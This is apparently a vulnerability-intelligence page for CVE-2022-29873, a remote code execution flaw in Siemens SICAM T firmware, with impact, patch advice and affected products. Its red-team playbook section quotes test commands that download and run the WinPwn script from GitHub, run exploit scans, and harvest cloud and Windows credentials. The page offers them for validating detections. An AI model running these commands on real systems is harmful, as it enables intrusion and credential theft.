CVE-2022-29873
Overview
This vulnerability is a parameter validation flaw in Siemens SICAM T firmware versions prior to V3.0. The affected component improperly handles input parameters in specific HTTP GET and POST requests, failing to enforce constraints on user-supplied data. This improper validation enables manipulation of internal program control flow within the device's embedded software.
Vulnerability Description
A vulnerability has been identified in SICAM T (All versions < V3.0). Affected devices do not properly validate parameters of certain GET and POST requests. This could allow an unauthenticated attacker to set the device to a denial of service state or to control the program counter and, thus, execute arbitrary code on the device.
Impact
An unauthenticated attacker with network access can exploit this vulnerability to cause a denial of service or execute arbitrary code on the affected SICAM T device. This can result in full device compromise, including disruption of operational technology processes controlled by the device. The CVSS vector (AV:N/AC:L/PR:N/UI:N) indicates no authentication or user interaction is required, increasing the severity and ease of exploitation in critical infrastructure environments.
Solution
Siemens recommends upgrading SICAM T devices to firmware version 3.0 or later as detailed in security advisories SSA-165073 and SSA-471761 available on the Siemens CERT portal. These advisories include instructions for applying the firmware update to eliminate the vulnerability. Operators should follow the vendor's official patching procedures and verify device firmware versions to ensure remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability has been identified in the SICAM T firmware, affecting multiple versions prior to 3.0. This flaw arises from improper validation of parameters in certain GET and POST requests, which can be exploited by an unauthenticated attacker. The lack of stringent validation allows for the manipulation of the program counter, potentially leading to arbitrary code execution. This vulnerability's severity is underscored by its high CVSS score of 9.8, indicating a significant risk to the integrity and availability of the affected devices.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft malicious requests to the device, leveraging the improper parameter validation to trigger a denial of service (DoS) state or execute arbitrary code. This could be achieved remotely, making it particularly dangerous in environments where these devices are deployed without adequate network segmentation or security controls. For instance, an attacker could use a simple script to send crafted requests, resulting in the device becoming unresponsive or executing unauthorized commands, which could compromise the entire system's functionality.
The real-world impact of this vulnerability is substantial, particularly for organizations relying on SICAM T devices for critical infrastructure operations. A successful attack could lead to significant downtime, disrupting services and potentially causing financial losses. Additionally, if an attacker gains control over the device, they could manipulate operational parameters, leading to safety hazards or data breaches. The business risk extends beyond immediate financial implications; it could also damage an organization’s reputation and erode customer trust, especially in sectors such as utilities and manufacturing where reliability is paramount.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating firmware to the latest versions is crucial, as vendors typically release patches to address known vulnerabilities. Network monitoring solutions can help identify unusual traffic patterns indicative of exploitation attempts. Additionally, employing intrusion detection systems (IDS) can provide alerts on suspicious activities targeting the affected devices. Furthermore, organizations should consider implementing strict access controls and network segmentation to limit exposure of these devices to untrusted networks.
In conclusion, the vulnerability in SICAM T firmware poses a significant threat to operational integrity and security. The potential for unauthorized access and disruption highlights the need for proactive measures in vulnerability management. Organizations must prioritize timely updates, robust monitoring, and effective network security practices to safeguard their systems against exploitation. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, businesses can better prepare to defend against potential threats and mitigate associated risks.
CSURFACE threat intelligence has detected a moderate increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2022-29873, reflecting a growing likelihood of exploitation attempts targeting Siemens SICAM T devices. Although no new exploit techniques or active campaigns have been identified, the upward trend in EPSS suggests heightened attacker interest or preparatory activity in the threat landscape. This incremental rise, while not indicative of an immediate surge, signals that adversaries may be prioritizing this vulnerability for future exploitation efforts. For defenders, this evolving risk profile underscores the importance of maintaining vigilance in monitoring network traffic and device behavior associated with SICAM T systems. The elevated EPSS score marginally increases the overall threat level, reinforcing the criticality of this vulnerability as a potential vector for denial of service or remote code execution attacks within industrial control environments.
Affected Products (36)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Siemens | 7kg8500-0aa00-0aa0 Firmware | All |
cpe:2.3:o:siemens:7kg8500-0aa00-0aa0_firmware:*:*:*:*:*:*:*:*
|
|
|
Siemens | 7kg8500-0aa00-2aa0 Firmware | All |
cpe:2.3:o:siemens:7kg8500-0aa00-2aa0_firmware:*:*:*:*:*:*:*:*
|
|
|
Siemens | 7kg8500-0aa10-0aa0 Firmware | All |
cpe:2.3:o:siemens:7kg8500-0aa10-0aa0_firmware:*:*:*:*:*:*:*:*
|
|
|
Siemens | 7kg8500-0aa10-2aa0 Firmware | All |
cpe:2.3:o:siemens:7kg8500-0aa10-2aa0_firmware:*:*:*:*:*:*:*:*
|
|
|
Siemens | 7kg8500-0aa30-0aa0 Firmware | All |
cpe:2.3:o:siemens:7kg8500-0aa30-0aa0_firmware:*:*:*:*:*:*:*:*
|
|
|
Siemens | 7kg8500-0aa30-2aa0 Firmware | All |
cpe:2.3:o:siemens:7kg8500-0aa30-2aa0_firmware:*:*:*:*:*:*:*:*
|
|
|
Siemens | 7kg8501-0aa01-0aa0 Firmware | All |
cpe:2.3:o:siemens:7kg8501-0aa01-0aa0_firmware:*:*:*:*:*:*:*:*
|
|
|
Siemens | 7kg8501-0aa01-2aa0 Firmware | All |
cpe:2.3:o:siemens:7kg8501-0aa01-2aa0_firmware:*:*:*:*:*:*:*:*
|
|
|
Siemens | 7kg8501-0aa02-0aa0 Firmware | All |
cpe:2.3:o:siemens:7kg8501-0aa02-0aa0_firmware:*:*:*:*:*:*:*:*
|
|
|
Siemens | 7kg8501-0aa02-2aa0 Firmware | All |
cpe:2.3:o:siemens:7kg8501-0aa02-2aa0_firmware:*:*:*:*:*:*:*:*
|
|
|
Siemens | 7kg8501-0aa11-0aa0 Firmware | All |
cpe:2.3:o:siemens:7kg8501-0aa11-0aa0_firmware:*:*:*:*:*:*:*:*
|
|
|
Siemens | 7kg8501-0aa11-2aa0 Firmware | All |
cpe:2.3:o:siemens:7kg8501-0aa11-2aa0_firmware:*:*:*:*:*:*:*:*
|
|
|
Siemens | 7kg8501-0aa12-0aa0 Firmware | All |
cpe:2.3:o:siemens:7kg8501-0aa12-0aa0_firmware:*:*:*:*:*:*:*:*
|
|
|
Siemens | 7kg8501-0aa12-2aa0 Firmware | All |
cpe:2.3:o:siemens:7kg8501-0aa12-2aa0_firmware:*:*:*:*:*:*:*:*
|
|
|
Siemens | 7kg8501-0aa31-0aa0 Firmware | All |
cpe:2.3:o:siemens:7kg8501-0aa31-0aa0_firmware:*:*:*:*:*:*:*:*
|
|
|
Siemens | 7kg8501-0aa31-2aa0 Firmware | All |
cpe:2.3:o:siemens:7kg8501-0aa31-2aa0_firmware:*:*:*:*:*:*:*:*
|
|
|
Siemens | 7kg8501-0aa32-0aa0 Firmware | All |
cpe:2.3:o:siemens:7kg8501-0aa32-0aa0_firmware:*:*:*:*:*:*:*:*
|
|
|
Siemens | 7kg8501-0aa32-2aa0 Firmware | All |
cpe:2.3:o:siemens:7kg8501-0aa32-2aa0_firmware:*:*:*:*:*:*:*:*
|
|
|
Siemens | 7kg8550-0aa00-0aa0 Firmware | All |
cpe:2.3:o:siemens:7kg8550-0aa00-0aa0_firmware:*:*:*:*:*:*:*:*
|
|
|
Siemens | 7kg8550-0aa00-2aa0 Firmware | All |
cpe:2.3:o:siemens:7kg8550-0aa00-2aa0_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-29873 |
| cert-portal.siemens.com |
GitHub CVE
x_refsource_MISC
|
https://cert-portal.siemens.com/productcert/pdf/ssa-165073.pdf |
| cert-portal.siemens.com |
GitHub CVE
|
https://cert-portal.siemens.com/productcert/html/ssa-165073.html |
| cert-portal.siemens.com |
GitHub CVE
|
https://cert-portal.siemens.com/productcert/html/ssa-471761.html |